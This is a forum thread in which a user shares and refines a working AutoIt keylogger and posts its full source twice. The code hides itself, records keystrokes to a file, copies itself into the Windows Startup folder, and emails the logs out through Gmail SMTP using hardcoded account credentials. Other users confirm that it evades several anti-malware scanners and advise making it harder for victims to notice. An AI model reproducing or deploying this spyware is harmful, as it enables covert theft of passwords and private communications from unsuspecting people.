Key Logger

General technological topics without their own forum go here

Key Logger

Post by DrRoach on Thu Oct 17, 2013 8:37 am
([msg=77723]see Key Logger[/msg])

Hey guys I've created a small key logging program and need some testers so where is better than here? :) I would appreciate it greatly if you could download it and give it a go. Also I can't find it with my anti-virus ( avg ) but I can't test others so can people let me know if their anti-viruses pick it up. Thank you again. Please note this was made for practice not to use illegally.

You can download it from http://supabyte.com/projectsKeyLogger.php
DrRoach
Poster
Poster
 
Posts: 155
Joined: Fri Feb 22, 2013 6:53 pm
Blog: View Blog (0)


Re: Key Logger

Post by Goatboy on Thu Oct 17, 2013 6:01 pm
([msg=77732]see Re: Key Logger[/msg])

Post the source code or else I have no reason to believe this isn't a virus.
Assume that everything I say is or could be a lie.
1UHQ15HqBRZFykqx7mKHpYroxanLjJcUk
User avatar
Goatboy
Expert
Expert
 
Posts: 2785
Joined: Mon Jul 07, 2008 9:35 pm
Blog: View Blog (0)


Re: Key Logger

Post by DrRoach on Thu Oct 17, 2013 6:11 pm
([msg=77734]see Re: Key Logger[/msg])

Goatboy wrote:Post the source code or else I have no reason to believe this isn't a virus.


ye of little faith ;)

Code: Select all
TraySetState(2)

#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_Outfile=K:\key logger\shortend.exe
#AutoIt3Wrapper_Compression=4
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
;#####################################################################################################################################################################################
;------------------------------------------------------------------------------ Created By DrRoach -----------------------------------------------------------------------------------
;------------------------------ Use this however you want but do be warned keyloggers are illegal if you install them on someone elses computer --------------------------------------
;-------------------------------------------------------------------------------- Version 2.0 ----------------------------------------------------------------------------------------
;#####################################################################################################################################################################################
;#####################################################################################################################################################################################
;------------------ Instructions : Create a new notepad file and save it as logger.txt then add both DrRobber.au3 and logger.txt to your startup file --------------------------------
;------------------------------------------------ Whenever the computer is turned on the logger will automatically run ---------------------------------------------------------------
;#####################################################################################################################################################################################

#include <misc.au3>
#include <file.au3>
#include <Inet.au3>
#include <array.au3>
#include <_INetSmtpMailCom.au3>

Global $oMyRet[2]
Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")

;###################################################
; Email part of this script was found online
;###################################################
;###################################################
; Variables
;###################################################
$SmtpServer = "smtp.gmail.com"                                   ; address for the smtp-server to use - REQUIRED google your email provider + smtp to find this
$FromName = "Slave"                                              ; name from who the email was sent
$FromAddress = "bobthemurderer705@gmail.com"                                     ; address from where the mail should come
$ToAddress = "bobthemurderer705@gmail.com"                                       ; destination address of the email - REQUIRED
$Subject = "Logs"                                              ; subject from the email - can be anything you want it to be
$Body = FileReadLine('logger.txt',"Your daily report master")           ; body of the email message
$AttachFiles = "logger.txt"                                         ; the file you want to attach name of the logging file (I advise that you leave it as logger.txt
$CcAddress = ""                                              ; address for cc - leave blank if not needed
$BccAddress = ""                                            ; address for bcc - leave blank if not needed
$Importance = "Normal"                                          ; Send message priority: "High", "Normal", "Low"
$Username = "bobthemurderer705@gmail.com"                                               ; username for the account used from where the mail gets sent - REQUIRED
$Password = "F00tball123"                                             ; password for the account used from where the mail gets sent - REQUIRED
$IPPort = 465                                             ; port used for sending the mail normaly 25
$ssl = 1                                                        ; enables/disables secure socket layer sending - put to 1 if using httpS
;~ $IPPort=465                                                  ; GMAIL port used for sending the mail
;~ $ssl=1                                                       ; GMAIL enables/disables secure socket layer sending - put to 1 if using httpS

;###################################################
; Email sending script
;###################################################
$rc = _INetSmtpMailCom($SmtpServer, $FromName, $FromAddress, $ToAddress, $Subject, $Body, $AttachFiles, $CcAddress, $BccAddress, $Importance, $Username, $Password, $IPPort, $ssl)

;###################################################
;    Script to log keys
;###################################################
$keys=62
$file=FileOpen("logger.txt",1)

Func add($letter,$ascii)
   FileWrite($file,$letter)
   While(_IsPressed($ascii))
      sleep(10)
   WEnd
EndFunc

while(1==1)
   $keyRun=1
   $asciiCodes="08,09,0D,10,14,18,20,23,24,25,26,27,28,2E,30,31,32,33,34,35,36,37,38,39,41,42,43,44,45,46,47,48,49,4A,4B,4C,4D,4E,4F,50,51,52,53,54,55,56,57,58,59,5A,60,61,62,63,64,65,66,67,68,69,74,90"
   $chars="-backspace-,-tab-,-enter-,-shift-,-caps-,-esc-,-space-,-end-,-home-,-left-,-up-,-right-,-down-,-del-,0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,0,1,2,3,4,5,6,7,8,9,-F5-,-num-"
   $asciiToArray=StringSplit($asciiCodes,",")
   $charsToArray=StringSplit($chars,",")
   while($keyRun<=$keys)
      if(_IsPressed("10")) Then
         if(_IsPressed("41")) Then
            add('A','41')
         EndIf
         if(_IsPressed("42")) Then
            add('B','42')
         EndIf
         if(_IsPressed("43")) Then
            add('C','43')
         EndIf
         if(_IsPressed("44")) Then
            add('D','44')
         EndIf
         if(_IsPressed("45")) Then
            add('E','45')
         EndIf
         if(_IsPressed("46")) Then
            add('F','46')
         EndIf
         if(_IsPressed("47")) Then
            add('G','47')
         EndIf
         if(_IsPressed("48")) Then
            add('H','48')
         EndIf
         if(_IsPressed("49")) Then
            add('I','49')
         EndIf
         if(_IsPressed("4A")) Then
            add('J','4A')
         EndIf
         if(_IsPressed("4B")) Then
            add('K','4B')
         EndIf
         if(_IsPressed("4C")) Then
            add('L','4C')
         EndIf
         if(_IsPressed("4D")) Then
            add('M','4D')
         EndIf
         if(_IsPressed("4E")) Then
            add('N','4E')
         EndIf
         if(_IsPressed("4F")) Then
            add('O','4F')
         EndIf
         if(_IsPressed("50")) Then
            add('P','50')
         EndIf
         if(_IsPressed("51")) Then
            add('Q','51')
         EndIf
         if(_IsPressed("52")) Then
            add('R','52')
         EndIf
         if(_IsPressed("53")) Then
            add('S','53')
         EndIf
         if(_IsPressed("54")) Then
            add('T','54')
         EndIf
         if(_IsPressed("55")) Then
            add('U','55')
         EndIf
         if(_IsPressed("56")) Then
            add('V','56')
         EndIf
         if(_IsPressed("57")) Then
            add('W','57')
         EndIf
         if(_IsPressed("58")) Then
            add('X','58')
         EndIf
         if(_IsPressed("59")) Then
            add('Y','59')
         EndIf
         if(_IsPressed("5A")) Then
            add('Z','5A')
         EndIf
         if(_IsPressed(30)) Then
            add(')',30)
         EndIf
         if(_IsPressed(31)) Then
            add('!',31)
         EndIf
         if(_IsPressed(32)) Then
            add('"',32)
         EndIf
         if(_IsPressed(33)) Then
            add('£',33)
         EndIf
         if(_IsPressed(34)) Then
            add('$',34)
         EndIf
         if(_IsPressed(35)) Then
            add('%',35)
         EndIf
         if(_IsPressed(36)) Then
            add('^',36)
         EndIf
         if(_IsPressed(37)) Then
            add('&',37)
         EndIf
         if(_IsPressed(38)) Then
            add('*',38)
         EndIf
         if(_IsPressed(39)) Then
            add('(',39)
         EndIf
      elseif(_IsPressed($asciiToArray[$keyRun])) Then
         if($charsToArray[$keyRun]=="-backspace-") Then
            $pos=FileSetPos($file,-2,2)
            FileWrite($file,"")
            sleep(5)
         elseif($charsToArray[$keyRun]=="-space-") Then
            FileWrite($file," ")
            While(_IsPressed($asciiToArray[$keyRun]))
               sleep(10)
            WEnd
         elseif($charsToArray[$keyRun]=="-tab-") Then
            FileWrite($file,"    ")
            While(_IsPressed($asciiToArray[$keyRun]))
               sleep(10)
            WEnd
            While(_IsPressed($asciiToArray[$keyRun]))
               sleep(10)
            WEnd
         elseif($charsToArray[$keyRun]=="-enter-") Then
            FileWrite($file,"" & @CRLF)
            While(_IsPressed($asciiToArray[$keyRun]))
               sleep(10)
            WEnd
         Else
            FileWrite($file,$charsToArray[$keyRun])
            While(_IsPressed($asciiToArray[$keyRun]))
               sleep(10)
            WEnd
         EndIf
      EndIf
      $keyRun=$keyRun+1
   WEnd
wend


It's writeen in a language called autoit :)
DrRoach
Poster
Poster
 
Posts: 155
Joined: Fri Feb 22, 2013 6:53 pm
Blog: View Blog (0)


Re: Key Logger

Post by WallShadow on Sat Oct 19, 2013 1:00 am
([msg=77750]see Re: Key Logger[/msg])

tried it on Win XP SP3, works fairly well. some characters are not detected and some are mis-interpreted, but it's never-the-less a useable tool.

malware-bytes anti-malware doesn't catch it even with the newest databases, rootkit revealer doesn't see it, and CCCleaner doesn't pick it up at all.

though one distinct characteristic of it is the fact that it always tried to use up 100% of the CPU. might wanna be careful, or else people will catch on pretty quickly.
User avatar
WallShadow
Contributor
Contributor
 
Posts: 594
Joined: Tue Mar 06, 2012 9:37 pm
Blog: View Blog (0)


Re: Key Logger

Post by DrRoach on Sat Oct 19, 2013 6:20 am
([msg=77751]see Re: Key Logger[/msg])

Thanks for the feedback wall I'll try and optimize it a bit today and also do you remember which characters are misinterpreted? As it 's probably caused by an error in my code. Thanks.
DrRoach
Poster
Poster
 
Posts: 155
Joined: Fri Feb 22, 2013 6:53 pm
Blog: View Blog (0)


Re: Key Logger

Post by WallShadow on Sat Oct 19, 2013 2:05 pm
([msg=77762]see Re: Key Logger[/msg])

the following character aren't being picked up: `~#_+-=\|,./<>?;':"[]{}
and the character @ is miss interpreted as a euro sign

I'll be testing it again later on win vista against MSE
User avatar
WallShadow
Contributor
Contributor
 
Posts: 594
Joined: Tue Mar 06, 2012 9:37 pm
Blog: View Blog (0)


Re: Key Logger

Post by DrRoach on Sun Oct 20, 2013 1:12 pm
([msg=77771]see Re: Key Logger[/msg])

Ok thanks I'll get it working tonight
DrRoach
Poster
Poster
 
Posts: 155
Joined: Fri Feb 22, 2013 6:53 pm
Blog: View Blog (0)


Re: Key Logger

Post by Goatboy on Sun Oct 20, 2013 1:25 pm
([msg=77772]see Re: Key Logger[/msg])

DrRoach wrote:ye of little faith ;)

If I may:

Image
Mad Eye Moody wrote:It was once my job to think as Dark Wizards do, Karkaroff.
Assume that everything I say is or could be a lie.
1UHQ15HqBRZFykqx7mKHpYroxanLjJcUk
User avatar
Goatboy
Expert
Expert
 
Posts: 2785
Joined: Mon Jul 07, 2008 9:35 pm
Blog: View Blog (0)


Re: Key Logger

Post by DrRoach on Sun Oct 20, 2013 4:38 pm
([msg=77775]see Re: Key Logger[/msg])

Ok so I've optimized it as much as possible, using about 15% CPU on my pc and it should be working for special characters now, can't get @ to work but I'll keep trying. Once again anyone trying this out and giving me feedback is much appreciated. Also a big thank you to wall shadow for testing it out and letting me know the bugs. Link to download it - http://supabyte.com/projectsKeyLogger.php or the source code -
Code: Select all
#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_Icon=C:\Users\Ryan\Downloads\skeleton_key2_256px.ico
#AutoIt3Wrapper_Outfile=window.exe
#AutoIt3Wrapper_Compression=4
#AutoIt3Wrapper_Res_Fileversion=2.0.0.12
#AutoIt3Wrapper_Res_Fileversion_AutoIncrement=y
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
TraySetState(2)
;#####################################################################################################################################################################################
;------------------------------------------------------------------------------ Created By DrRoach -----------------------------------------------------------------------------------
;------------------------------ Use this however you want but do be warned keyloggers are illegal if you install them on someone elses computer --------------------------------------
;-------------------------------------------------------------------------------- Version 3.0 ----------------------------------------------------------------------------------------
;#####################################################################################################################################################################################
;#####################################################################################################################################################################################
;------------------ Instructions : Create a new notepad file and save it as logger.txt then add both DrRobber.au3 and logger.txt to your startup file --------------------------------
;------------------------------------------------ Whenever the computer is turned on the logger will automatically run ---------------------------------------------------------------
;#####################################################################################################################################################################################

;##################################
; Include
;##################################

#include <misc.au3>
#include <file.au3>
#include <Inet.au3>
#include <array.au3>
#Include <file.au3>

;#Include<array.au3>
;
; The UDF
Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance="Normal", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 0)
    Local $objEmail = ObjCreate("CDO.Message")
    $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
    $objEmail.To = $s_ToAddress
    Local $i_Error = 0
    Local $i_Error_desciption = ""
    If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
    If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
    $objEmail.Subject = $s_Subject
    If StringInStr($as_Body, "<") And StringInStr($as_Body, ">") Then
        $objEmail.HTMLBody = $as_Body
    Else
        $objEmail.Textbody = $as_Body & @CRLF
    EndIf
    If $s_AttachFiles <> "" Then
        Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
      ;_ArrayDisplay($S_Files2Attach)
        For $x = 1 To $S_Files2Attach[0]
            $S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x])
            ConsoleWrite('@@ Debug(62) : $S_Files2Attach " & $x &": = ' & $S_Files2Attach[$x] & @LF & '>Error code: ' & @error & @LF) ;### Debug Console
            If FileExists($S_Files2Attach[$x]) Then
                $objEmail.AddAttachment ($S_Files2Attach[$x])
            Else
                ConsoleWrite('!> File not found to attach: ' & $S_Files2Attach[$x] & @LF)
                SetError(1)
                Return 0
            EndIf
        Next
    EndIf
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
    If Number($IPPort) = 0 then $IPPort = 25
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
    ;Authenticated SMTP
    If $s_Username <> "" Then
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
    EndIf
    If $ssl Then
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    EndIf
    ;Update settings
    $objEmail.Configuration.Fields.Update
    ; Set Email Importance
    Switch $s_Importance
        Case "High"
            $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "High"
        Case "Normal"
            $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Normal"
        Case "Low"
            $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Low"
    EndSwitch
    $objEmail.Fields.Update
    ; Sent the Message
    $objEmail.Send
    $objEmail=""
EndFunc   ;==>_INetSmtpMailCom
;
;
; Com Error Handler
Func MyErrFunc()

EndFunc

Global $oMyRet[2]
Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")

;###################################################
; Email part of this script was found online
;###################################################
;###################################################
; Variables
;###################################################
$SmtpServer = "smtp.gmail.com"                                   ; address for the smtp-server to use - REQUIRED google your email provider + smtp to find this
$FromName = "Slave"                                              ; name from who the email was sent
$FromAddress = "bobthemurderer705@gmail.com"                                     ; address from where the mail should come
$ToAddress = "bobthemurderer705@gmail.com"                                       ; destination address of the email - REQUIRED
$Subject = "Logs"                                              ; subject from the email - can be anything you want it to be
$Body = FileReadLine('logger.txt',"Your daily report master")           ; body of the email message
$AttachFiles = "logger.txt"                                         ; the file you want to attach name of the logging file (I advise that you leave it as logger.txt
$CcAddress = ""                                              ; address for cc - leave blank if not needed
$BccAddress = ""                                            ; address for bcc - leave blank if not needed
$Importance = "Normal"                                          ; Send message priority: "High", "Normal", "Low"
$Username = "bobthemurderer705@gmail.com"                                               ; username for the account used from where the mail gets sent - REQUIRED
$Password = "S0ccer123"                                             ; password for the account used from where the mail gets sent - REQUIRED
$IPPort = 465                                             ; port used for sending the mail normaly 25
$ssl = 1                                                        ; enables/disables secure socket layer sending - put to 1 if using httpS
;~ $IPPort=465                                                  ; GMAIL port used for sending the mail
;~ $ssl=1                                                       ; GMAIL enables/disables secure socket layer sending - put to 1 if using httpS

;###################################################
; Email sending script
;###################################################
$rc = _INetSmtpMailCom($SmtpServer, $FromName, $FromAddress, $ToAddress, $Subject, $Body, $AttachFiles, $CcAddress, $BccAddress, $Importance, $Username, $Password, $IPPort, $ssl)

;###################################################
;    Script to log keys
;###################################################
$keys=64

FileCopy("window.exe",@StartupDir,0)
FileCopy("logger.txt",@StartupDir,0)
$file=FileOpen("logger.txt",1)

Func add($letter,$ascii)
   FileWrite($file,$letter)
   While(_IsPressed($ascii))
      sleep(10)
   WEnd
EndFunc

while(1==1)
   $keyRun=1
   $asciiCodes="08,09,0D,10,14,18,20,23,24,25,26,27,28,2E,30,31,32,33,34,35,36,37,38,39,41,42,43,44,45,46,47,48,49,4A,4B,4C,4D,4E,4F,50,51,52,53,54,55,56,57,58,59,5A,60,61,62,63,64,65,66,67,68,69,74,90,BE,BC"
   $chars="-backspace-,-tab-,-enter-,-shift-,-caps-,-esc-,-space-,-end-,-home-,-left-,-up-,-right-,-down-,-del-,0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,0,1,2,3,4,5,6,7,8,9,-F5-,-num-,.,-comma-"
   $asciiToArray=StringSplit($asciiCodes,",")
   $charsToArray=StringSplit($chars,",")
   $shiftCharCodes="20,41,42,43,44,45,46,47,48,49,4A,4B,4C,4D,4E,4F,50,51,52,53,54,55,56,57,58,59,5A,30,31,32,33,34,35,36,37,38,39,BF"
   $shiftChars='-space-,A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z,),!,",£,$,%,^,&,*,(,?'
   $shiftAsciiToArray=StringSplit($shiftCharCodes,",")
   $shiftCharsToArray=StringSplit($shiftChars,",")
   $shiftRun=1
   $shiftKeys=38
   while($keyRun<=$keys)
      if(_IsPressed("10")) Then
         while($shiftRun<=$shiftKeys)
         if(_IsPressed($shiftAsciiToArray[$shiftRun])) Then
            if($shiftCharsToArray[$shiftRun]=="-space-") Then
               FileWrite($file," ")
               While(_IsPressed($shiftAsciiToArray[$shiftRun]))
                  sleep(10)
               WEnd
            Else
            FileWrite($file,$shiftCharsToArray[$shiftRun])
            While(_IsPressed($shiftAsciiToArray[$shiftRun]))
               sleep(10)
            WEnd
            EndIf
         EndIf
         $shiftRun=$shiftRun+1
         WEnd
      elseif(_IsPressed($asciiToArray[$keyRun])) Then
         if($charsToArray[$keyRun]=="-backspace-") Then
            $pos=FileSetPos($file,-2,2)
            FileWrite($file,"")
            sleep(5)
         elseif($charsToArray[$keyRun]=="-space-") Then
            FileWrite($file," ")
            While(_IsPressed($asciiToArray[$keyRun]))
               sleep(10)
            WEnd
         elseif($charsToArray[$keyRun]=="-tab-") Then
            FileWrite($file,"    ")
            While(_IsPressed($asciiToArray[$keyRun]))
               sleep(10)
            WEnd
            While(_IsPressed($asciiToArray[$keyRun]))
               sleep(10)
            WEnd
         elseif($charsToArray[$keyRun]=="-enter-") Then
            FileWrite($file,"" & @CRLF)
            While(_IsPressed($asciiToArray[$keyRun]))
               sleep(10)
            WEnd
         ElseIf($charsToArray[$keyRun]=="-comma-") Then
            FileWrite($file,",")
            While(_IsPressed($asciiToArray[$keyRun]))
               sleep(10)
            WEnd
         Else
            FileWrite($file,$charsToArray[$keyRun])
            While(_IsPressed($asciiToArray[$keyRun]))
               sleep(10)
            WEnd
         EndIf
      EndIf
      $keyRun=$keyRun+1
   WEnd
wend


Please note this will add files to your startup as soon as you run it so if you're running it on your home PC be sure to delete them.
DrRoach
Poster
Poster
 
Posts: 155
Joined: Fri Feb 22, 2013 6:53 pm
Blog: View Blog (0)



Return to General

Who is online

Users browsing this forum: No registered users and 0 guests